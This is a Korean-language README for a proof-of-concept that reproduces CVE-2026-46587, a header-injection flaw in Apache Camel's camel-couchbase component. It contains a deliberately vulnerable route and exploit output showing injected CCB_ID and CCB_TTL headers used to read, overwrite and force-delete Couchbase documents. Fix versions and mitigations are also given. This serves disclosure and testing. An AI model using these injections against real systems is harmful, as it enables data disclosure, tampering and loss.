
CVE-2026-46587 재현 도구: Apache Camel camel-couchbase CCB_* 헤더 주입으로 문서 노출, 변조, TTL 강제 데이터 삭제를 가능하게 하는 취약점 (4.14.8/4.18.3/4.21.0에서 수정됨)
CCB_* 헤더 인젝션 재현기 (CVE-2026-46587)이 프로젝트는 CVE-2026-46587로 추적되는 Apache Camel의 camel-couchbase 컴포넌트에서 발생하는 메시지 헤더 인젝션을 시연합니다. 이 컴포넌트는 동작을 제어하기 위해 여러 Exchange 헤더(CCB_KEY(문서 키), CCB_ID(문서 ID), CCB_TTL(문서 만료), CCB_DDN(설계 문서 이름), CCB_VN(뷰 이름))를 읽습니다. CouchbaseConstants에 정의된 이 헤더 상수들의 문자열 값은 다른 모든 컴포넌트가 사용하는 Camel 접두사 이름(예: CamelSqlQuery)이 아닌, 접두사가 없는 일반 이름입니다. Camel의 인바운드 HttpHeaderFilterStrategy는 Camel 또는 camel로 시작하는 헤더 이름만 차단하므로, 이 이름들은 인바운드 필터를 그대로 통과합니다. 라우트가 couchbase 프로듀서 앞에 HTTP 진입점(예: platform-http)을 노출하면, 신뢰할 수 없는 HTTP 클라이언트가 이러한 헤더를 직접 설정하여 라우트 작성자가 구성한 문서 ID, TTL, 설계 문서 이름 또는 뷰 이름을 덮어쓸 수 있습니다.
이 PoC는 단일 결함으로 인한 세 가지 서로 다른 영향을 보여줍니다:
CCB_ID가 호출자의 범위를 벗어난 문서를 읽습니다.CCB_ID가 보호된 문서를 덮어씁니다.CCB_TTL=1이 호출자 자신의 문서를 조용히 자동 삭제되도록 강제합니다.보안 권고: https://camel.apache.org/security/CVE-2026-46587.html
CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 및 CVE-2026-47323과 동일한 헤더 인젝션 계열입니다. 이 수정은 자매 보안 권고 CVE-2026-46588(camel-couchdb)과 PR을 공유합니다.
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
수정(4.14.8 / 4.18.3 / 4.21.0)은 헤더 값을 Camel 규칙에 맞게 변경합니다 — CCB_ID → CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN → CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — 따라서 다른 모든 Camel 제어 헤더와 마찬가지로 인바운드 HttpHeaderFilterStrategy에 의해 차단됩니다. Java 상수 필드 이름은 변경되지 않습니다.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
이 라우트는 문서 ID를 호출자 자신의 초안으로 기본 설정하고, 문서화된 하드닝(hardening) 절차에 따라 경계에서 Camel 제어 헤더 네임스페이스를 제거합니다. 그러나 이는 도움이 되지 않습니다: 재정의 헤더의 이름은 CCB_ID / CCB_TTL이지 CamelCouchbaseId / CamelCouchbaseTtl이 아니므로, removeHeaders("Camel*")나 내장 HTTP 헤더 필터 어느 쪽에도 제거되지 않으며 — 프로듀서는 이들을 그대로 적용합니다.
데이터베이스에는 두 개의 문서가 시드됩니다: user-draft(호출자 자신의 문서)와 system-config(엔드포인트가 절대 노출해서는 안 되는 민감한 문서).
피해자(victim) 는 Camel 라우트와 해당 Couchbase 데이터베이스이고, 공격자(attacker) 는 요청 헤더만 설정하는 인증되지 않은 HTTP 클라이언트입니다. 취약한 라우트와 독립적으로, 작은 SDK 하네스(harness) 가 검증을 위해 문서를 시드하고 읽습니다.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
컴포즈 파일은 단일 노드 Couchbase 클러스터(KV 전용)를 초기화하고
mybucket버킷과appuser를 생성한 다음 앱을 시작합니다. Couchbase는 짧은 호스트 이름을 거부하므로 점으로 구분된 네트워크 별칭(couchbase.cve.local)이 노드 호스트 이름으로 사용됩니다.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
HTTP 컨슈머에서 접근 가능한 couchbase 프로듀서가 있는 모든 라우트. 주입 가능한 헤더: CCB_ID / CCB_KEY(문서 ID/키 → 임의 문서 읽기, 덮어쓰기 또는 삭제), CCB_TTL(강제 만료 → 데이터 손실), 그리고 컨슈머 쪽에서는 CCB_DDN / CCB_VN(설계 문서 및 뷰 이름).
4.14.8 / 4.18.3 / 4.21.0로 업그레이드하세요(보안 권고 PR #23228). 수정 후에는 재정의 헤더에 Camel 접두사(CamelCouchbaseId, CamelCouchbaseTtl, …)가 붙으며, 다른 모든 제어 헤더와 마찬가지로 HTTP 경계에서 필터링됩니다.
업그레이드할 때까지, 신뢰할 수 없는 인바운드 메시지가 프로듀서에 도달하기 전에 영향을 받는 헤더를 제거하세요. 예를 들어 couchbase 엔드포인트 앞에서 .removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN"), .removeHeader("CCB_VN")를 사용하거나, 이러한 이름을 차단하는 사용자 정의 HeaderFilterStrategy를 적용하세요.
이 재현 코드는 공개적으로 공개되었고 수정된 취약점에 대해 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템을 대상으로 사용하지 마십시오.
| 속성 | 값 |
|---|
| 구성 요소 | camel-couchbase |
| 영향 받는 클래스 | org.apache.camel.component.couchbase.CouchbaseProducer가 CouchbaseConstants.HEADER_ID("CCB_ID"), HEADER_TTL("CCB_TTL") 등을 읽음 |
| CWE | CWE-20: 부적절한 입력 검증 |
| 영향 | HTTP 클라이언트가 CCB_* 헤더를 설정 → 문서 ID / TTL / 설계 문서 / 뷰를 덮어씀 → 정보 노출, 변조, 데이터 손실 |
| 전제 조건 | 라우트가 HTTP 컨슈머(예: platform-http) 뒤에 couchbase 프로듀서를 노출하며, 해당 컨슈머가 인증되지 않은 경우 |
| 영향 받는 버전 | 4.0.0 이상 4.14.8 미만, 4.15.0 이상 4.18.3 미만, 4.19.0 이상 4.21.0 미만 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| 수정 사항 | PR apache/camel#23228 (main), #23230(4.18.x) / #23231(4.14.x)를 통해 백포트됨 |
| 발견자 | Yu Bao (PayPal) |